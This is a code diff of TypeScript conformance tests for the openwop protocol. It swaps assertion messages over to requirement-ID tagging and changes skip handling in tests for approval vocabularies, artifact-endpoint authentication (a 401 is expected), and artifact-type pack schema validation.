+    expect(CANONICAL_EVENT_ACTIONS, req('openwop.it.approval-payload.canonical-event-action-vocabulary-differs-from-resume-timeout-instead-of-ask', 'capabilities.md', 'canonical event action vocabulary differs from resume (timeout instead of ask)')).toHaveLength(5);
     expect(new Set(CANONICAL_EVENT_ACTIONS)).toEqual(
       new Set(['accept', 'reject', 'refine', 'edit-accept', 'timeout']),
     );
@@ -112,7 +113,7 @@ describe('approval-payload: vocabulary discovery contract', () => {
     // The 3 documented scopes `whole/section/items` MUST be a stable
     // set in v1.x. Adding a scope is additive (clients tolerating
     // unknown values) but semantic changes need a spec discussion.
-    expect(CANONICAL_REFINE_SCOPES).toHaveLength(3);
+    expect(CANONICAL_REFINE_SCOPES, req('openwop.it.approval-payload.refinefeedback-scope-vocabulary-pin-7-audit-a-5-prereq', 'capabilities.md', 'refineFeedback scope vocabulary pin (§7 audit, A.5 prereq)')).toHaveLength(3);
     expect(new Set(CANONICAL_REFINE_SCOPES)).toEqual(
       new Set(['whole', 'section', 'items']),
     );

package/src/scenarios/artifact-auth.test.ts

@@ -20,8 +20,9 @@
 
 import { describe, it, expect } from 'vitest';
 
-import { driver } from '../lib/driver.js';
 import { loadEnv } from '../lib/env.js';
+import { req } from '../lib/requirement-ids.js';
+import { softSkip } from '../lib/soft-skip.js';
 
 describe('artifact-auth: unauthenticated artifact requests are rejected', () => {
   it('GET /v1/runs/{runId}/artifacts/{artifactId} without Authorization returns 401', async () => {
@@ -31,12 +32,12 @@ describe('artifact-auth: unauthenticated artifact requests are rejected', () =>
     const res = await fetch(
       `${env.baseUrl}/v1/runs/openwop-conformance-noauth-run/artifacts/openwop-conformance-noauth-artifact`,
     );
-    expect(res.status, driver.describe(
+    expect(res.status, req('openwop.it.artifact-auth.get-v1-runs-runid-artifacts-artifactid-without-authorization-returns-401', 
       'rest-endpoints.md GET /v1/runs/{runId}/artifacts/{artifactId}',
       'artifact endpoint MUST reject unauthenticated requests with 401 (never 200, never redirect)',
     )).toBe(401);
-    expect(res.status, 'redirect MUST NOT be used to handle missing auth on artifact endpoint').not.toBe(301);
-    expect(res.status, 'redirect MUST NOT be used to handle missing auth on artifact endpoint').not.toBe(302);
+    expect(res.status, req('openwop.it.artifact-auth.get-v1-runs-runid-artifacts-artifactid-without-authorization-returns-401', 'rest-endpoints.md GET /v1/runs/{runId}/artifacts/{artifactId}', 'redirect MUST NOT be used to handle missing auth on artifact endpoint')).not.toBe(301);
+    expect(res.status, req('openwop.it.artifact-auth.get-v1-runs-runid-artifacts-artifactid-without-authorization-returns-401', 'rest-endpoints.md GET /v1/runs/{runId}/artifacts/{artifactId}', 'redirect MUST NOT be used to handle missing auth on artifact endpoint')).not.toBe(302);
     expect(res.status).not.toBe(200);
 
     // Canonical error envelope: error: 'unauthenticated', message: string.
@@ -46,10 +47,10 @@ describe('artifact-auth: unauthenticated artifact requests are rejected', () =>
     } catch {
       // Some hosts return a bare 401 with no body — acceptable. Skip the
       // envelope-shape assertion in that case.
-      return;
+      return softSkip('blocked', 'precondition not met — an earlier step threw (Some hosts return a bare 401 with no body — acceptable. Skip the envelope-shape assertion in that case.) (seam, prior step, or fixture unavailable)');
     }
     if (typeof body.error === 'string') {
-      expect(body.error, driver.describe(
+      expect(body.error, req('openwop.it.artifact-auth.get-v1-runs-runid-artifacts-artifactid-without-authorization-returns-401', 
         'auth.md §"Error envelope"',
         '401 envelope SHOULD carry `error: "unauthenticated"` for missing-auth on artifact endpoint',
       )).toBe('unauthenticated');

package/src/scenarios/artifact-type-pack-install.test.ts

@@ -26,7 +26,6 @@
  */
 
 import { describe, it, expect } from 'vitest';
-import { driver } from '../lib/driver.js';
 import { behaviorGate, behaviorGatePresent } from '../lib/behavior-gate.js';
 
 const PROFILE = 'openwop-artifact-type-packs';
@@ -37,6 +36,7 @@ import {
   produceArtifact,
   sampleArtifactTypePack,
 } from '../lib/artifactTypes.js';
+import { req } from '../lib/requirement-ids.js';
 
 describe('artifact-type-pack-install: registered artifacts are schema-validated (RFC 0071)', () => {
   it('a conforming payload yields artifact.created { registered: true }', async () => {
@@ -47,24 +47,24 @@ describe('artifact-type-pack-install: registered artifacts are schema-validated
     if (!behaviorGatePresent(PROFILE, installed)) return; // seam absent: skip default, FAIL strict
     expect(
       installed.status >= 200 && installed.status < 300,
-      driver.describe('artifact-type-packs.md §"Pack kind"', 'a valid artifact-type pack MUST install cleanly'),
+      req('openwop.it.artifact-type-pack-install.a-conforming-payload-yields-artifact-created-registered-true', 'artifact-type-packs.md §"Pack kind"', 'a valid artifact-type pack MUST install cleanly'),
     ).toBe(true);
 
     const produced = await produceArtifact(artifactTypeId, { title: 'Hello', body: 'World' });
     if (!behaviorGatePresent(PROFILE, produced)) return; // seam absent: skip default, FAIL strict
     expect(
       produced.json['registered'],
-      driver.describe('artifact-type-packs.md §"Binding the existing artifact surfaces"', 'a payload matching a registered artifactTypeId MUST be marked registered'),
+      req('openwop.it.artifact-type-pack-install.a-conforming-payload-yields-artifact-created-registered-true', 'artifact-type-packs.md §"Binding the existing artifact surfaces"', 'a payload matching a registered artifactTypeId MUST be marked registered'),
     ).toBe(true);
     expect(
       produced.json['validated'],
-      driver.describe('artifact-type-packs.md', 'the host MUST validate the payload against the pack schema before emitting artifact.created'),
+      req('openwop.it.artifact-type-pack-install.a-conforming-payload-yields-artifact-created-registered-true', 'artifact-type-packs.md', 'the host MUST validate the payload against the pack schema before emitting artifact.created'),
     ).toBe(true);
     const evt = produced.json['artifactCreated'] as { registered?: unknown } | undefined;
     if (evt && 'registered' in evt) {
       expect(
         evt.registered,
-        driver.describe('run-event-payloads.schema.json §artifactCreated', 'artifact.created.registered MUST be true for a validated registered artifact'),
+        req('openwop.it.artifact-type-pack-install.a-conforming-payload-yields-artifact-created-registered-true', 'run-event-payloads.schema.json §artifactCreated', 'artifact.created.registered MUST be true for a validated registered artifact'),
       ).toBe(true);
     }
   });
@@ -83,7 +83,7 @@ describe('artifact-type-pack-install: registered artifacts are schema-validated
       produced.json['stored'] === false;
     expect(
       rejected,
-      driver.describe('artifact-type-packs.md §"Binding the existing artifact surfaces"', 'a payload that fails the pack schema MUST NOT be emitted as a validated registered artifact'),
+      req('openwop.it.artifact-type-pack-install.a-schema-violating-payload-is-rejected-not-stored-as-a-validated-registered-arti', 'artifact-type-packs.md §"Binding the existing artifact surfaces"', 'a payload that fails the pack schema MUST NOT be emitted as a validated registered artifact'),
     ).toBe(true);
   });
 });